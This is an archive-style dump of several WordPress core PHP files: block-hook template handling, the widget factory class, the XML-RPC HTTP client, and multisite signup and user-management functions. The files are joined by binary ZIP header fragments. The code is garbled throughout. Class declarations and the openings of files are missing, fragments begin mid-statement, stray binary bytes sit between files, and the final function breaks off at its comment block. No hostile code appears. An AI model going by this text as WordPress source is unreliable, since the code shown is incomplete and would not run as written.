?? array(); if ( ! empty( $ignored_hooked_blocks ) ) { if ( ! isset( $changes->meta_input ) ) { $changes->meta_input = array(); } $changes->meta_input['_wp_ignored_hooked_blocks'] = wp_json_encode( $ignored_hooked_blocks ); } } else { $changes->post_content = apply_block_hooks_to_content( $changes->post_content, $template, 'set_ignored_hooked_blocks_metadata' ); } return $changes; } PK!¬  class-wp-widget-factory.phpnu„[µü¤widgets[ spl_object_hash( $widget ) ] = $widget; } else { $this->widgets[ $widget ] = new $widget(); } } /** * Un-registers a widget subclass. * * @since 2.8.0 * @since 4.6.0 Updated the `$widget` parameter to also accept a WP_Widget instance object * instead of simply a `WP_Widget` subclass name. * * @param string|WP_Widget $widget Either the name of a `WP_Widget` subclass or an instance of a `WP_Widget` subclass. */ public function unregister( $widget ) { if ( $widget instanceof WP_Widget ) { unset( $this->widgets[ spl_object_hash( $widget ) ] ); } else { unset( $this->widgets[ $widget ] ); } } /** * Serves as a utility method for adding widgets to the registered widgets global. * * @since 2.8.0 * * @global array $wp_registered_widgets */ public function _register_widgets() { global $wp_registered_widgets; $keys = array_keys( $this->widgets ); $registered = array_keys( $wp_registered_widgets ); $registered = array_map( '_get_widget_id_base', $registered ); foreach ( $keys as $key ) { // Don't register new widget if old widget with the same id is already registered. if ( in_array( $this->widgets[ $key ]->id_base, $registered, true ) ) { unset( $this->widgets[ $key ] ); continue; } $this->widgets[ $key ]->_register(); } } /** * Returns the registered WP_Widget object for the given widget type. * * @since 5.8.0 * * @param string $id_base Widget type ID. * @return WP_Widget|null */ public function get_widget_object( $id_base ) { $key = $this->get_widget_key( $id_base ); if ( '' === $key ) { return null; } return $this->widgets[ $key ]; } /** * Returns the registered key for the given widget type. * * @since 5.8.0 * * @param string $id_base Widget type ID. * @return string */ public function get_widget_key( $id_base ) { foreach ( $this->widgets as $key => $widget_object ) { if ( $widget_object->id_base === $id_base ) { return $key; } } return ''; } } PK!z‰ÍO² ² class-wp-http-ixr-client.phpnuȯÝíscheme = $bits['scheme']; $this->server = $bits['host']; $this->port = isset( $bits['port'] ) ? $bits['port'] : $port; $this->path = ! empty( $bits['path'] ) ? $bits['path'] : '/'; // Make absolutely sure we have a path. if ( ! $this->path ) { $this->path = '/'; } if ( ! empty( $bits['query'] ) ) { $this->path .= '?' . $bits['query']; } } else { $this->scheme = 'http'; $this->server = $server; $this->path = $path; $this->port = $port; } $this->useragent = 'The Incutio XML-RPC PHP Library'; $this->timeout = $timeout; } /** * @since 3.1.0 * @since 5.5.0 Formalized the existing `...$args` parameter by adding it * to the function signature. * * @return bool */ public function query( ...$args ) { $method = array_shift( $args ); $request = new IXR_Request( $method, $args ); $xml = $request->getXml(); $port = $this->port ? ":$this->port" : ''; $url = $this->scheme . '://' . $this->server . $port . $this->path; $args = array( 'headers' => array( 'Content-Type' => 'text/xml' ), 'user-agent' => $this->useragent, 'body' => $xml, ); // Merge Custom headers ala #8145. foreach ( $this->headers as $header => $value ) { $args['headers'][ $header ] = $value; } /** * Filters the headers collection to be sent to the XML-RPC server. * * @since 4.4.0 * * @param string[] $headers Associative array of headers to be sent. */ $args['headers'] = apply_filters( 'wp_http_ixr_client_headers', $args['headers'] ); if ( false !== $this->timeout ) { $args['timeout'] = $this->timeout; } // Now send the request. if ( $this->debug ) { echo '
      ' . htmlspecialchars( $xml ) . "\n
      \n\n"; } $response = wp_safe_remote_post( $url, $args ); if ( is_wp_error( $response ) ) { $errno = $response->get_error_code(); $errorstr = $response->get_error_message(); $this->error = new IXR_Error( -32300, "transport error: $errno $errorstr" ); return false; } if ( 200 !== wp_remote_retrieve_response_code( $response ) ) { $this->error = new IXR_Error( -32301, 'transport error - HTTP status code was not 200 (' . wp_remote_retrieve_response_code( $response ) . ')' ); return false; } if ( $this->debug ) { echo '
      ' . htmlspecialchars( wp_remote_retrieve_body( $response ) ) . "\n
      \n\n"; } // Now parse what we've got back. $this->message = new IXR_Message( wp_remote_retrieve_body( $response ) ); if ( ! $this->message->parse() ) { // XML error. $this->error = new IXR_Error( -32700, 'parse error. not well formed' ); return false; } // Is the message a fault? if ( 'fault' === $this->message->messageType ) { $this->error = new IXR_Error( $this->message->faultCode, $this->message->faultString ); return false; } // Message must be OK. return true; } } PK!Þë ÂfÂfms-functions.phpnuȯÝí get_blog_count(), 'users' => get_user_count(), ); return $stats; } /** * Gets one of a user's active blogs. * * Returns the user's primary blog, if they have one and * it is active. If it's inactive, function returns another * active blog of the user. If none are found, the user * is added as a Subscriber to the Dashboard Blog and that blog * is returned. * * @since MU (3.0.0) * * @param int $user_id The unique ID of the user * @return WP_Site|void The blog object */ function get_active_blog_for_user( $user_id ) { $blogs = get_blogs_of_user( $user_id ); if ( empty( $blogs ) ) { return; } if ( ! is_multisite() ) { return $blogs[ get_current_blog_id() ]; } $primary_blog = get_user_meta( $user_id, 'primary_blog', true ); $first_blog = current( $blogs ); if ( false !== $primary_blog ) { if ( ! isset( $blogs[ $primary_blog ] ) ) { update_user_meta( $user_id, 'primary_blog', $first_blog->userblog_id ); $primary = get_site( $first_blog->userblog_id ); } else { $primary = get_site( $primary_blog ); } } else { // TODO: Review this call to add_user_to_blog too - to get here the user must have a role on this blog? $result = add_user_to_blog( $first_blog->userblog_id, $user_id, 'subscriber' ); if ( ! is_wp_error( $result ) ) { update_user_meta( $user_id, 'primary_blog', $first_blog->userblog_id ); $primary = $first_blog; } } if ( ( ! is_object( $primary ) ) || ( '1' === $primary->archived || '1' === $primary->spam || '1' === $primary->deleted ) ) { $blogs = get_blogs_of_user( $user_id, true ); // If a user's primary blog is shut down, check their other blogs. $ret = false; if ( is_array( $blogs ) && count( $blogs ) > 0 ) { $current_network_id = get_current_network_id(); foreach ( (array) $blogs as $blog_id => $blog ) { if ( $blog->site_id !== $current_network_id ) { continue; } $details = get_site( $blog_id ); if ( is_object( $details ) && '0' === $details->archived && '0' === $details->spam && '0' === $details->deleted ) { $ret = $details; if ( (int) get_user_meta( $user_id, 'primary_blog', true ) !== $blog_id ) { update_user_meta( $user_id, 'primary_blog', $blog_id ); } if ( ! get_user_meta( $user_id, 'source_domain', true ) ) { update_user_meta( $user_id, 'source_domain', $details->domain ); } break; } } } else { return; } return $ret; } else { return $primary; } } /** * Gets the number of active sites on the installation. * * The count is cached and updated twice daily. This is not a live count. * * @since MU (3.0.0) * @since 3.7.0 The `$network_id` parameter has been deprecated. * @since 4.8.0 The `$network_id` parameter is now being used. * * @param int|null $network_id ID of the network. Default is the current network. * @return int Number of active sites on the network. */ function get_blog_count( $network_id = null ) { return get_network_option( $network_id, 'blog_count' ); } /** * Gets a blog post from any site on the network. * * This function is similar to get_post(), except that it can retrieve a post * from any site on the network, not just the current site. * * @since MU (3.0.0) * * @param int $blog_id ID of the blog. * @param int $post_id ID of the post being looked for. * @return WP_Post|null WP_Post object on success, null on failure */ function get_blog_post( $blog_id, $post_id ) { switch_to_blog( $blog_id ); $post = get_post( $post_id ); restore_current_blog(); return $post; } /** * Adds a user to a blog, along with specifying the user's role. * * Use the {@see 'add_user_to_blog'} action to fire an event when users are added to a blog. * * @since MU (3.0.0) * * @param int $blog_id ID of the blog the user is being added to. * @param int $user_id ID of the user being added. * @param string $role User role. * @return true|WP_Error True on success or a WP_Error object if the user doesn't exist * or could not be added. */ function add_user_to_blog( $blog_id, $user_id, $role ) { switch_to_blog( $blog_id ); $user = get_userdata( $user_id ); if ( ! $user ) { restore_current_blog(); return new WP_Error( 'user_does_not_exist', __( 'The requested user does not exist.' ) ); } /** * Filters whether a user should be added to a site. * * @since 4.9.0 * * @param true|WP_Error $retval True if the user should be added to the site, error * object otherwise. * @param int $user_id User ID. * @param string $role User role. * @param int $blog_id Site ID. */ $can_add_user = apply_filters( 'can_add_user_to_blog', true, $user_id, $role, $blog_id ); if ( true !== $can_add_user ) { restore_current_blog(); if ( is_wp_error( $can_add_user ) ) { return $can_add_user; } return new WP_Error( 'user_cannot_be_added', __( 'User cannot be added to this site.' ) ); } if ( ! get_user_meta( $user_id, 'primary_blog', true ) ) { update_user_meta( $user_id, 'primary_blog', $blog_id ); $site = get_site( $blog_id ); update_user_meta( $user_id, 'source_domain', $site->domain ); } $user->set_role( $role ); /** * Fires immediately after a user is added to a site. * * @since MU (3.0.0) * * @param int $user_id User ID. * @param string $role User role. * @param int $blog_id Blog ID. */ do_action( 'add_user_to_blog', $user_id, $role, $blog_id ); clean_user_cache( $user_id ); wp_cache_delete( $blog_id . '_user_count', 'blog-details' ); restore_current_blog(); return true; } /** * Removes a user from a blog. * * Use the {@see 'remove_user_from_blog'} action to fire an event when * users are removed from a blog. * * Accepts an optional `$reassign` parameter, if you want to * reassign the user's blog posts to another user upon removal. * * @since MU (3.0.0) * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $user_id ID of the user being removed. * @param int $blog_id Optional. ID of the blog the user is being removed from. Default 0. * @param int $reassign Optional. ID of the user to whom to reassign posts. Default 0. * @return true|WP_Error True on success or a WP_Error object if the user doesn't exist. */ function remove_user_from_blog( $user_id, $blog_id = 0, $reassign = 0 ) { global $wpdb; $user_id = (int) $user_id; $blog_id = (int) $blog_id; switch_to_blog( $blog_id ); /** * Fires before a user is removed from a site. * * @since MU (3.0.0) * @since 5.4.0 Added the `$reassign` parameter. * * @param int $user_id ID of the user being removed. * @param int $blog_id ID of the blog the user is being removed from. * @param int $reassign ID of the user to whom to reassign posts. */ do_action( 'remove_user_from_blog', $user_id, $blog_id, $reassign ); /* * If being removed from the primary blog, set a new primary * if the user is assigned to multiple blogs. */ $primary_blog = (int) get_user_meta( $user_id, 'primary_blog', true ); if ( $primary_blog === $blog_id ) { $new_id = ''; $new_domain = ''; $blogs = get_blogs_of_user( $user_id ); foreach ( (array) $blogs as $blog ) { if ( $blog->userblog_id === $blog_id ) { continue; } $new_id = $blog->userblog_id; $new_domain = $blog->domain; break; } update_user_meta( $user_id, 'primary_blog', $new_id ); update_user_meta( $user_id, 'source_domain', $new_domain ); } $user = get_userdata( $user_id ); if ( ! $user ) { restore_current_blog(); return new WP_Error( 'user_does_not_exist', __( 'That user does not exist.' ) ); } $user->remove_all_caps(); $blogs = get_blogs_of_user( $user_id ); if ( count( $blogs ) === 0 ) { update_user_meta( $user_id, 'primary_blog', '' ); update_user_meta( $user_id, 'source_domain', '' ); } if ( $reassign ) { $reassign = (int) $reassign; $post_ids = $wpdb->get_col( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_author = %d", $user_id ) ); $link_ids = $wpdb->get_col( $wpdb->prepare( "SELECT link_id FROM $wpdb->links WHERE link_owner = %d", $user_id ) ); if ( ! empty( $post_ids ) ) { $wpdb->query( $wpdb->prepare( "UPDATE $wpdb->posts SET post_author = %d WHERE post_author = %d", $reassign, $user_id ) ); array_walk( $post_ids, 'clean_post_cache' ); } if ( ! empty( $link_ids ) ) { $wpdb->query( $wpdb->prepare( "UPDATE $wpdb->links SET link_owner = %d WHERE link_owner = %d", $reassign, $user_id ) ); array_walk( $link_ids, 'clean_bookmark_cache' ); } } clean_user_cache( $user_id ); restore_current_blog(); return true; } /** * Gets the permalink for a post on another blog. * * @since MU (3.0.0) 1.0 * * @param int $blog_id ID of the source blog. * @param int $post_id ID of the desired post. * @return string The post's permalink. */ function get_blog_permalink( $blog_id, $post_id ) { switch_to_blog( $blog_id ); $link = get_permalink( $post_id ); restore_current_blog(); return $link; } /** * Gets a blog's numeric ID from its URL. * * On a subdirectory installation like example.com/blog1/, * $domain will be the root 'example.com' and $path the * subdirectory '/blog1/'. With subdomains like blog1.example.com, * $domain is 'blog1.example.com' and $path is '/'. * * @since MU (3.0.0) * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $domain Website domain. * @param string $path Optional. Not required for subdomain installations. Default '/'. * @return int 0 if no blog found, otherwise the ID of the matching blog. */ function get_blog_id_from_url( $domain, $path = '/' ) { $domain = strtolower( $domain ); $path = strtolower( $path ); $id = wp_cache_get( md5( $domain . $path ), 'blog-id-cache' ); if ( -1 === $id ) { // Blog does not exist. return 0; } elseif ( $id ) { return (int) $id; } $args = array( 'domain' => $domain, 'path' => $path, 'fields' => 'ids', 'number' => 1, 'update_site_meta_cache' => false, ); $result = get_sites( $args ); $id = array_shift( $result ); if ( ! $id ) { wp_cache_set( md5( $domain . $path ), -1, 'blog-id-cache' ); return 0; } wp_cache_set( md5( $domain . $path ), $id, 'blog-id-cache' ); return $id; } // // Admin functions. // /** * Checks an email address against a list of banned domains. * * This function checks against the Banned Email Domains list * at wp-admin/network/settings.php. The check is only run on * self-registrations; user creation at wp-admin/network/users.php * bypasses this check. * * @since MU (3.0.0) * * @param string $user_email The email provided by the user at registration. * @return bool True when the email address is banned, false otherwise. */ function is_email_address_unsafe( $user_email ) { $banned_names = get_site_option( 'banned_email_domains' ); if ( $banned_names && ! is_array( $banned_names ) ) { $banned_names = explode( "\n", $banned_names ); } $is_email_address_unsafe = false; if ( $banned_names && is_array( $banned_names ) && false !== strpos( $user_email, '@', 1 ) ) { $banned_names = array_map( 'strtolower', $banned_names ); $normalized_email = strtolower( $user_email ); list( $email_local_part, $email_domain ) = explode( '@', $normalized_email ); foreach ( $banned_names as $banned_domain ) { if ( ! $banned_domain ) { continue; } if ( $email_domain === $banned_domain ) { $is_email_address_unsafe = true; break; } if ( str_ends_with( $normalized_email, ".$banned_domain" ) ) { $is_email_address_unsafe = true; break; } } } /** * Filters whether an email address is unsafe. * * @since 3.5.0 * * @param bool $is_email_address_unsafe Whether the email address is "unsafe". Default false. * @param string $user_email User email address. */ return apply_filters( 'is_email_address_unsafe', $is_email_address_unsafe, $user_email ); } /** * Sanitizes and validates data required for a user sign-up. * * Verifies the validity and uniqueness of user names and user email addresses, * and checks email addresses against allowed and disallowed domains provided by * administrators. * * The {@see 'wpmu_validate_user_signup'} hook provides an easy way to modify the sign-up * process. The value $result, which is passed to the hook, contains both the user-provided * info and the error messages created by the function. {@see 'wpmu_validate_user_signup'} * allows you to process the data in any way you'd like, and unset the relevant errors if * necessary. * * @since MU (3.0.0) * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $user_name The login name provided by the user. * @param string $user_email The email provided by the user. * @return array { * The array of user name, email, and the error messages. * * @type string $user_name Sanitized and unique username. * @type string $orig_username Original username. * @type string $user_email User email address. * @type WP_Error $errors WP_Error object containing any errors found. * } */ function wpmu_validate_user_signup( $user_name, $user_email ) { global $wpdb; $errors = new WP_Error(); $orig_username = $user_name; $user_name = preg_replace( '/\s+/', '', sanitize_user( $user_name, true ) ); if ( $user_name !== $orig_username || preg_match( '/[^a-z0-9]/', $user_name ) ) { $errors->add( 'user_name', __( 'Usernames can only contain lowercase letters (a-z) and numbers.' ) ); $user_name = $orig_username; } $user_email = sanitize_email( $user_email ); if ( empty( $user_name ) ) { $errors->add( 'user_name', __( 'Please enter a username.' ) ); } $illegal_names = get_site_option( 'illegal_names' ); if ( ! is_array( $illegal_names ) ) { $illegal_names = array( 'www', 'web', 'root', 'admin', 'main', 'invite', 'administrator' ); add_site_option( 'illegal_names', $illegal_names ); } if ( in_array( $user_name, $illegal_names, true ) ) { $errors->add( 'user_name', __( 'Sorry, that username is not allowed.' ) ); } /** This filter is documented in wp-includes/user.php */ $illegal_logins = (array) apply_filters( 'illegal_user_logins', array() ); if ( in_array( strtolower( $user_name ), array_map( 'strtolower', $illegal_logins ), true ) ) { $errors->add( 'user_name', __( 'Sorry, that username is not allowed.' ) ); } if ( ! is_email( $user_email ) ) { $errors->add( 'user_email', __( 'Please enter a valid email address.' ) ); } elseif ( is_email_address_unsafe( $user_email ) ) { $errors->add( 'user_email', __( 'You cannot use that email address to signup. There are problems with them blocking some emails from WordPress. Please use another email provider.' ) ); } if ( strlen( $user_name ) < 4 ) { $errors->add( 'user_name', __( 'Username must be at least 4 characters.' ) ); } if ( strlen( $user_name ) > 60 ) { $errors->add( 'user_name', __( 'Username may not be longer than 60 characters.' ) ); } // All numeric? if ( preg_match( '/^[0-9]*$/', $user_name ) ) { $errors->add( 'user_name', __( 'Sorry, usernames must have letters too!' ) ); } $limited_email_domains = get_site_option( 'limited_email_domains' ); if ( is_array( $limited_email_domains ) && ! empty( $limited_email_domains ) ) { $limited_email_domains = array_map( 'strtolower', $limited_email_domains ); $email_domain = strtolower( substr( $user_email, 1 + strpos( $user_email, '@' ) ) ); if ( ! in_array( $email_domain, $limited_email_domains, true ) ) { $errors->add( 'user_email', __( 'Sorry, that email address is not allowed!' ) ); } } // Check if the username has been used already. if ( username_exists( $user_name ) ) { $errors->add( 'user_name', __( 'Sorry, that username already exists!' ) ); } // Check if the email address has been used already. if ( email_exists( $user_email ) ) { $errors->add( 'user_email', sprintf( /* translators: %s: Link to the login page. */ __( 'Error: This email address is already registered. Log in with this address or choose another one.' ), wp_login_url() ) ); } // Has someone already signed up for this username? $signup = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->signups WHERE user_login = %s", $user_name ) ); if ( $signup instanceof stdClass ) { $registered_at = mysql2date( 'U', $signup->registered ); $now = time(); $diff = $now - $registered_at; // If registered more than two days ago, cancel registration and let this signup go through. if ( $diff > 2 * DAY_IN_SECONDS ) { $wpdb->delete( $wpdb->signups, array( 'user_login' => $user_name ) ); } else { $errors->add( 'user_name', __( 'That username is currently reserved but may be available in a couple of days.' ) ); } } $signup = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->signups WHERE user_email = %s", $user_email ) ); if ( $signup instanceof stdClass ) { $diff = time() - mysql2date( 'U', $signup->registered ); // If registered more than two days ago, cancel registration and let this signup go through. if ( $diff > 2 * DAY_IN_SECONDS ) { $wpdb->delete( $wpdb->signups, array( 'user_email' => $user_email ) ); } else { $errors->add( 'user_email', __( 'That email address is pending activation and is not available for new registration. If you made a previous attempt with this email address, please check your inbox for an activation email. If left unconfirmed, it will become available in a couple of days.' ) ); } } $result = array( 'user_name' => $user_name, 'orig_username' => $orig_username, 'user_email' => $user_email, 'errors' => $errors, ); /** * Filters the validated user registration details. * * This does not allow you to override the username or email of the user during * registration. The values are solely used for validation and error handling. * * @since MU (3.0.0) * * @param array $result { * The array of user name, email, and the error messages. * * @type string $user_name Sanitized and unique username. * @type string $orig_username Original username. * @type string $user_email User email address. * @type WP_Error $errors WP_Error object containing any errors found. * } */ return apply_filters( 'wpmu_validate_user_signup', $result ); } /** * Processes new site registrations. * * Checks the data provided by the user during blog signup. Verifies * the validity and uniqueness of blog paths and domains. * * This function prevents the current user from registering a new site * with a blogname equivalent to another user's login name. Passing the * $user parameter to the function, where $user is the other user, is * effectively an override of this limitation. * * Filter {@see 'wpmu_validate_blog_signup'} if you want to modify * the way that WordPress validates new site signups. * * @since MU (3.0.0) * * @global wpdb $wpdb WordPress database abstraction object. * @global string $domain * * @param string $blogname The site name provided by the user. Must be unique. * @param string $blog_title The site title provided by the user. * @param WP_User|string $user Optional. The user object to check against the new site name. * Default empty string. * @return array { * Array of domain, path, site name, site title, user and error messages. * * @type string $domain Domain for the site. * @type string $path Path for the site. Used in subdirectory installations. * @type string $blogname The unique site name (slug). * @type string $blog_title Blog title. * @type string|WP_User $user By default, an empty string. A user object if provided. * @type WP_Error $errors WP_Error containing any errors found. * } */ function wpmu_validate_blog_signup( $blogname, $blog_title, $user = '' ) { global $wpdb, $domain; $current_network = get_network(); $base = $current_network->path; $blog_title = strip_tags( $blog_title ); $errors = new WP_Error(); $illegal_names = get_site_option( 'illegal_names' ); if ( ! is_array( $illegal_names ) ) { $illegal_names = array( 'www', 'web', 'root', 'admin', 'main', 'invite', 'administrator' ); add_site_option( 'illegal_names', $illegal_names ); } /* * On sub dir installations, some names are so illegal, only a filter can * spring them from jail. */ if ( ! is_subdomain_install() ) { $illegal_names = array_merge( $illegal_names, get_subdirectory_reserved_names() ); } if ( empty( $blogname ) ) { $errors->add( 'blogname', __( 'Please enter a site name.' ) ); } if ( preg_match( '/[^a-z0-9]+/', $blogname ) ) { $errors->add( 'blogname', __( 'Site names can only contain lowercase letters (a-z) and numbers.' ) ); } if ( in_array( $blogname, $illegal_names, true ) ) { $errors->add( 'blogname', __( 'That name is not allowed.' ) ); } /** * Filters the minimum site name length required when validating a site signup. * * @since 4.8.0 * * @param int $length The minimum site name length. Default 4. */ $minimum_site_name_length = apply_filters( 'minimum_site_name_length', 4 ); if ( strlen( $blogname ) < $minimum_site_name_length ) { /* translators: %s: Minimum site name length. */ $errors->add( 'blogname', sprintf( _n( 'Site name must be at least %s character.', 'Site name must be at least %s characters.', $minimum_site_name_length ), number_format_i18n( $minimum_site_name_length ) ) ); } // Do not allow users to create a site that conflicts with a page on the main blog. if ( ! is_subdomain_install() && $wpdb->get_var( $wpdb->prepare( 'SELECT post_name FROM ' . $wpdb->get_blog_prefix( $current_network->site_id ) . "posts WHERE post_type = 'page' AND post_name = %s", $blogname ) ) ) { $errors->add( 'blogname', __( 'Sorry, you may not use that site name.' ) ); } // All numeric? if ( preg_match( '/^[0-9]*$/', $blogname ) ) { $errors->add( 'blogname', __( 'Sorry, site names must have letters too!' ) ); } /** * Filters the new site name during registration. * * The name is the site's subdomain or the site's subdirectory * path depending on the network settings. * * @since MU (3.0.0) * * @param string $blogname Site name. */ $blogname = apply_filters( 'newblogname', $blogname ); $blog_title = wp_unslash( $blog_title ); if ( empty( $blog_title ) ) { $errors->add( 'blog_title', __( 'Please enter a site title.' ) ); } // Check if the domain/path has been used already. if ( is_subdomain_install() ) { $mydomain = $blogname . '.' . preg_replace( '|^www\.|', '', $domain ); $path = $base; } else { $mydomain = $domain; $path = $base . $blogname . '/'; } if ( domain_exists( $mydomain, $path, $current_network->id ) ) { $errors->add( 'blogname', __( 'Sorry, that site already exists!' ) ); } /* * Do not allow users to create a site that matches an existing user's login name, * unless it's the user's own username. */ if ( username_exists( $blogname ) ) { if ( ! $user instanceof WP_User || $user->user_login !== $blogname ) { $errors->add( 'blogname', __( 'Sorry, that site is reserved!' ) ); } } /* * Has someone already signed up for this domain? * TODO: Check email too? */ $signup = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->signups WHERE domain = %s AND path = %s", $mydomain, $path ) ); if ( $signup instanceof stdClass ) { $diff = time() - mysql2date( 'U', $signup->registered ); // If registered more than two days ago, cancel registration and let this signup go through. if ( $diff > 2 * DAY_IN_SECONDS ) { $wpdb->delete( $wpdb->signups, array( 'domain' => $mydomain, 'path' => $path, ) ); } else { $errors->add( 'blogname', __( 'That site is currently reserved but may be available in a couple days.' ) ); } } $result = array( 'domain' => $mydomain, 'path' => $path, 'blogname' => $blogname, 'blog_title' => $blog_title, 'user' => $user, 'errors' => $errors, ); /** * Filters site details and error messages following registration. * * @since MU (3.0.0) * * @param array $result { * Array of domain, path, site name, site title, user and error messages. * * @type string $domain Domain for the site. * @type string $path Path for the site. Used in subdirectory installations. * @type string $blogname The unique site name (slug). * @type string $blog_title Site title. * @type string|WP_User $user By default, an empty string. A user object if provided. * @type WP_Error $errors WP_Error containing any errors found. * } */ return apply_filters( 'wpmu_validate_blog_signup', $result ); } /** * Records site signup information for future activation. * * @since MU (3.0.0) * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $domain The requested domain. * @param string $path The requested path. * @param string $title The requested site title. * @param string $user The user's requested login name. * @param string $user_email The user's email address. * @param array $meta Optional. Signup meta data. By default, contains the requested privacy setting and lang_id. */ function wpmu_signup_blog( $domain, $path, $title, $user, $user_email, $meta = array() ) { global $wpdb; $key = substr( md5( time() . wp_rand() . $domain ), 0, 16 ); /** * Filters the metadata for a site signup. * * The metadata will be serialized prior to storing it in the database. * * @since 4.8.0 * * @param array $meta Signup meta data. Default empty array. * @param string $domain The requested domain. * @param string $path The requested path. * @param string $title The requested site title. * @param string $user The user's requested login name. * @param string $user_email The user's email address. * @param string $key The user's activation key. */ $meta = apply_filters( 'signup_site_meta', $meta, $domain, $path, $title, $user, $user_email, $key ); $wpdb->insert( $wpdb->signups, array( 'domain' => $domain, 'path' => $path, 'title' => $title, 'user_login' => $user, 'user_email' => $user_email, 'registered' => current_time( 'mysql', true ), 'activation_key' => $key, 'meta' => serialize( $meta ), ) ); /** * Fires after site signup information has been written to the database. * * @since 4.4.0 * * @param string $domain The requested domain. * @param string $path The requested path. * @param string $title The requested site title. * @param string $user The user's requested login name. * @param string $user_email The user's email address. * @param string $key The user's activation key. * @param array $meta Signup meta data. By default, contains the requested privacy setting and lang_id. */ do_action( 'after_signup_site', $domain, $path, $title, $user, $user_email, $key, $meta ); } /** * Records user signup information for future activation. * * This function is used when user registration is open but * new site registration is not. * * @since MU (3.0.0) * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $user The user's requested login name. * @param string $user_email The user's email address. * @param array $meta Optional. Signup meta data. Default empty array. */ function wpmu_signup_user( $user, $user_email, $meta = array() ) { global $wpdb; // Format data. $user = preg_replace( '/\s+/', '', sanitize_user( $user, true ) ); $user_email = sanitize_email( $user_email ); $key = substr( md5( time() . wp_rand() . $user_email ), 0, 16 ); /** * Filters the metadata for a user signup. * * The metadata will be serialized prior to storing it in the database. * * @since 4.8.0 * * @param array $meta Signup meta data. Default empty array. * @param string $user The user's requested login name. * @param string $user_email The user's email address. * @param string $key The user's activation key. */ $meta = apply_filters( 'signup_user_meta', $meta, $user, $user_email, $key ); $wpdb->insert( $wpdb->signups, array( 'domain' => '', 'path' => '', 'title' => '', 'user_login' => $user, 'user_email' => $user_email, 'registered' => current_time( 'mysql', true ), 'activation_key' => $key, 'meta' => serialize( $meta ), ) ); /** * Fires after a user's signup information has been written to the database. * * @since 4.4.0 * * @param string $user The user's requested login name. * @param string $user_email The user's email address. * @param string $key The user's activation key. * @param array $meta Signup meta data. Default empty array. */ do_action( 'after_signup_user', $user, $user_email, $key, $meta ); } /** * Sends a confirmation request email to a user when they sign up for a new site. The new site will not become active * until the confirmation link is clicked. * * This is the notification function used when site registration * is enabled. * * Filter {@see 'wpmu_signup_blog_notification'} to bypass this function or * replace it with your own notification behavior. * * Filter {@see 'wpmu_signup_blog_notification_email'} and * {@see 'wpmu_signup_blog_notification_subject'} to change the content * and subject line of the email sent to newly registered users. * * @since MU (3.0.0) * * @param string $domain The new blog domain. * @param string $path The new blog path. * @param string $title The site title. * @param string $user_login The user's login name. * @param string $user_email The user's email address. * @param string $key The activation key created in wpmu_signup_blog(). * @param array $meta Optional. Signup meta data. By default, contains the requested privacy setting and lang_id. * @return bool */ function wpmu_signup_blog_notification( $domain, $path, $title, $user_login, $user_email, #[\SensitiveParameter] $key, $meta = array() ) { /** * Filters whether to bypass the new site email notification. * * @since MU (3.0.0) * * @param string|false $domain Site domain, or false to prevent the email from sending. * @param string $path Site path. * @param string $title Site title. * @param string $user_login User login name. * @param string $user_email User email address. * @param string $key Activation key created in wpmu_signup_blog(). * @param array $meta Signup meta data. By default, contains the requested privacy setting and lang_id. */ if ( ! apply_filters( 'wpmu_signup_blog_notification', $domain, $path, $title, $user_login, $user_email, $key, $meta ) ) { return false; } // Send email with activation link. if ( ! is_subdomain_install() || get_current_network_id() !== 1 ) { $activate_url = network_site_url( "wp-activate.php?key=$key" ); } else { $activate_url = "http://{$domain}{$path}wp-activate.php?key=$key"; // @todo Use *_url() API. } $activate_url = esc_url( $activate_url ); $admin_email = get_site_option( 'admin_email' ); if ( '' === $admin_email ) { $admin_email = 'support@' . wp_parse_url( network_home_url(), PHP_URL_HOST ); } $from_name = ( '' !== get_site_option( 'site_name' ) ) ? esc_html( get_site_option( 'site_name' ) ) : 'WordPress'; $message_headers = "From: \"{$from_name}\" <{$admin_email}>\n" . 'Content-Type: text/plain; charset="' . get_option( 'blog_charset' ) . "\"\n"; $user = get_user_by( 'login', $user_login ); $switched_locale = $user && switch_to_user_locale( $user->ID ); $message = sprintf( /** * Filters the message content of the new blog notification email. * * Content should be formatted for transmission via wp_mail(). * * @since MU (3.0.0) * * @param string $content Content of the notification email. * @param string $domain Site domain. * @param string $path Site path. * @param string $title Site title. * @param string $user_login User login name. * @param string $user_email User email address. * @param string $key Activation key created in wpmu_signup_blog(). * @param array $meta Signup meta data. By default, contains the requested privacy setting and lang_id. */ apply_filters( 'wpmu_signup_blog_notification_email', /* translators: New site notification email. 1: Activation URL, 2: New site URL. */ __( "To activate your site, please click the following link:\n\n%1\$s\n\nAfter you activate, you will receive *another email* with your login.\n\nAfter you activate, you can visit your site here:\n\n%2\$s" ), $domain, $path, $title, $user_login, $user_email, $key, $meta ), $activate_url, esc_url( "http://{$domain}{$path}" ), $key ); $subject = sprintf( /** * Filters the subject of the new blog notification email. * * @since MU (3.0.0) * * @param string $subject Subject of the notification email. * @param string $domain Site domain. * @param string $path Site path. * @param string $title Site title. * @param string $user_login User login name. * @param string $user_email User email address. * @param string $key Activation key created in wpmu_signup_blog(). * @param array $meta Signup meta data. By default, contains the requested privacy setting and lang_id. */ apply_filters( 'wpmu_signup_blog_notification_subject', /* translators: New site notification email subject. 1: Network title, 2: New site URL. */ _x( '[%1$s] Activate %2$s', 'New site notification email subject' ), $domain, $path, $title, $user_login, $user_email, $key, $meta ), $from_name, esc_url( 'http://' . $domain . $path ) ); wp_mail( $user_email, wp_specialchars_decode( $subject ), $message, $message_headers ); if ( $switched_locale ) { restore_previous_locale(); } return true; } /** * Sends a confirmation request email to a user when they sign up for a new user account (without signing up for a site * at the same time). The user account will not become active until the confirmation link is clicked. * * This is the notification function used when no new site has * been requested. * * Filter {@see 'wpmu_signup_user_notification'} to bypass this function or * replace it with your own notification behavior. * * Filter {@see 'wpmu_signup_user_notification_email'} and * {@see 'wpmu_signup_user_notification_subject'} to change the content * and subject line of the email sent to newly registered users. * * @since MU (3.0.0) * * @param string $user_login The user's login name. * @param string $user_email The user's email address. * @param string $key The activation key created in wpmu_signup_user() * @param array $meta Optional. Signup meta data. Default empty array. * @return bool 